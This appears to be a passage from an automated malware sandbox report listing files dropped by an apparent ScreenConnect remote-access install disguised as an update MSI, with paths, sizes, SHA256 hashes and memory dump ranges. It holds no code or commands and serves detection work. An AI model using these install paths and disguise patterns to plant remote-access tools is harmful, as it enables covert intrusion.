            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.en-US.resources
            • Path C:\ProgramData\uhssvc\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.resources
            • Path C:\ProgramData\uhssvc\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Office.Telemetry.dll
            • Path C:\ProgramData\uhssvc\Microsoft.Office.Telemetry.dll
            • Size 26KB
            • SHA256 ad0cffd2d579a336c9cb18ae35dbb0a1bee22b9152ce086455f6b07789d67c7a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\ProgramData\uhssvc\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\ProgramData\uhssvc\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsAuthenticationPackage.dll
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsBackstageShell.exe
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsBackstageShell.exe
            • Size 59KB
            • SHA256 46589e65a4e87dd3ab967e17238bb1102d74e5cf52078b43ca795a67c75ed6d6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
            • Size 580KB
            • SHA256 54122da1882621af349267b06905b256c1a0b1f571a0e8835ec4b8acc35809a2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
            • Size 581KB
            • SHA256 0b3f3b3ff7b46f3f8e8c884127fa6bf08ab12175d8c7611af53256c310c7be95
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsCredentialProvider.dll
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsFileManager.exe
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsFileManager.exe
            • Size 79KB
            • SHA256 41d9790fa15264d6bb65ef678f6418526e8137ce96bb42e65c6f3a03a8edc360
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsFileManager.exe.config
            • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsFileManager.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Tippikk.TransferGuard.dll
            • Path C:\ProgramData\uhssvc\Tippikk.TransferGuard.dll
            • Size 6KB
            • SHA256 46f563002654f6e064a4680bf82fe21de3812b723a42cec21207d669f395178f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\ProgramData\uhssvc\app.config
            • Size 2KB
            • SHA256 08654ed703d6ec78087da75ed3eb405ef065e4d26f925fda6595b7d5e79986e2
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system.config
            • Path C:\ProgramData\uhssvc\system.config
            • Size 528B
            • SHA256 3fd61c797ef50eeee7d95d82a9451d455c1140d166379af9a30a3284aa0a1cd2
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            SQLite.Interop.dll
            • Path C:\Users\Admin\AppData\Local\Temp\SQLite.Interop.dll
            • Size 1.7MB
            • SHA256 aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wu-294b54275a9c48d18e6e27e8dd6122cb.msi
            • Path C:\Users\Admin\AppData\Local\Temp\wu-294b54275a9c48d18e6e27e8dd6122cb.msi
            • Size 3.8MB
            • SHA256 f857281c8f97687f85eca93672ddfa550beac45aeef9818b84bab4f36f59af19
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wu_native_msi.log
            • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
            • Size 4KB
            • SHA256 fd378809e257b5ae5a28e1cbcee768d135d3d46f342cb370817546ea4ff1c160
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wu_native_msi.log
            • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
            • Size 4KB
            • SHA256 c8bd97482fd2e00bd754f27294f5959c011c0a2d2052ef26decc350830482c61
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wu_native_msi.log
            • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
            • Size 2B
            • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
            • MD5 SHA1 SHA512
            Submit Download

            MSIBFC1.tmp
            • Path C:\Windows\Installer\MSIBFC1.tmp
            • Size 325KB
            • SHA256 b3fcbd30c6e05c87caa1850ba6a94c2885dd2f1f5ef3e22bdf2428ddb946489d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSIC698.tmp
            • Path C:\Windows\Installer\MSIC698.tmp
            • Size 1.0MB
            • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Windows\Installer\MSIC698.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Windows\Installer\MSIC698.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Windows\Installer\MSIC698.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Windows\Installer\MSIC698.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSICE0C.tmp
            • Path C:\Windows\Installer\MSICE0C.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe.log
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log
            • Size 1KB
            • SHA256 9712454255d533a95fcd86c03e11f845fede5c4734fc71f07e4388dc1078ac29
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            fc0f5a0n.newcfg
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\uhssvc\fc0f5a0n.newcfg
            • Size 558B
            • SHA256 62f55991ad8b52511ba9b09dc6f60b10cf3ef0c808191092b988563cc19551a9
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 4a9a58b6127421b9b850cb7fcedc16368996a436e07273bc66b35df3cee3fb93
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {28b1469d-7e19-48b7-9e71-e51ec463ff39}_OnDiskSnapshotProp
            • Path \??\Volume{aef5a47e-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{28b1469d-7e19-48b7-9e71-e51ec463ff39}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 f20e076bff22c5870d98f17b2ed72308602260143e92c8ff07e7978a5ebb216e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/432-129-0x0000000004030000-0x0000000004080000-memory.dmp
            Download

            memory/432-122-0x0000000003C80000-0x0000000003C98000-memory.dmp
            Download

            memory/432-134-0x0000000004080000-0x00000000040B6000-memory.dmp
            Download

            memory/432-137-0x0000000004360000-0x00000000043F2000-memory.dmp
            Download

            memory/432-140-0x00000000040C0000-0x0000000004101000-memory.dmp
            Download

            memory/432-143-0x0000000004010000-0x0000000004018000-memory.dmp
            Download

            memory/432-142-0x0000000004540000-0x0000000004615000-memory.dmp
            Download

            memory/548-163-0x0000000000DD0000-0x0000000000DE8000-memory.dmp
            Download

            memory/548-166-0x000000001B7A0000-0x000000001B7A8000-memory.dmp
            Download

            memory/548-165-0x0000000002830000-0x0000000002871000-memory.dmp
            Download

            memory/548-164-0x00000000027D0000-0x00000000027E8000-memory.dmp
            Download

            memory/548-159-0x00000000027F0000-0x0000000002826000-memory.dmp
            Download

            memory/548-160-0x000000001B5E0000-0x000000001B66E000-memory.dmp
            Download

            memory/548-161-0x000000001B820000-0x000000001B9CC000-memory.dmp
            Download

            memory/548-158-0x0000000000660000-0x00000000006F8000-memory.dmp
            Download

            memory/548-162-0x000000001CA80000-0x000000001CC06000-memory.dmp
            Download

            memory/1676-198-0x000000001B7D0000-0x000000001B82E000-memory.dmp
            Download

            memory/1676-193-0x0000000000630000-0x0000000000B0E000-memory.dmp
            Download

            memory/1748-222-0x000000001C180000-0x000000001C1D0000-memory.dmp
            Download

            memory/1748-221-0x0000000003100000-0x000000000310C000-memory.dmp
            Download

            memory/1748-220-0x0000000000FF0000-0x0000000001088000-memory.dmp
            Download

            memory/2628-4-0x000001FA9A1D0000-0x000001FA9A1E0000-memory.dmp
            Download

            memory/2628-0-0x000001FAFE4A0000-0x000001FAFF0D2000-memory.dmp
            Download

            memory/2628-182-0x000001FA9AF30000-0x000001FA9AF9A000-memory.dmp
            Download

            memory/2628-229-0x000001FA9AFF0000-0x000001FA9B1AF000-memory.dmp
            Download

            memory/2628-186-0x000001FA9B230000-0x000001FA9B26A000-memory.dmp
            Download

            memory/2628-187-0x000001FA9B1F0000-0x000001FA9B216000-memory.dmp
            Download

            memory/2628-168-0x000001FAFF540000-0x000001FAFF5B6000-memory.dmp
            Download

            memory/2628-154-0x000001FAFF450000-0x000001FAFF472000-memory.dmp
            Download

            memory/2628-8-0x000001FA9A1D0000-0x000001FA9A1E0000-memory.dmp
            Download

            memory/3636-203-0x0000000003220000-0x000000000322C000-memory.dmp
            Download

            memory/3636-202-0x000000001BD60000-0x000000001BDF8000-memory.dmp
            Download

            memory/4176-42-0x0000000004940000-0x000000000494A000-memory.dmp
            Download

            memory/4176-46-0x00000000049E0000-0x0000000004A6E000-memory.dmp
            Download

            memory/4176-51-0x0000000005380000-0x0000000005924000-memory.dmp
            Download

            memory/4176-50-0x0000000004C20000-0x0000000004DCC000-memory.dmp
            Download

            memory/4176-38-0x0000000004910000-0x000000000493E000-memory.dmp
            Download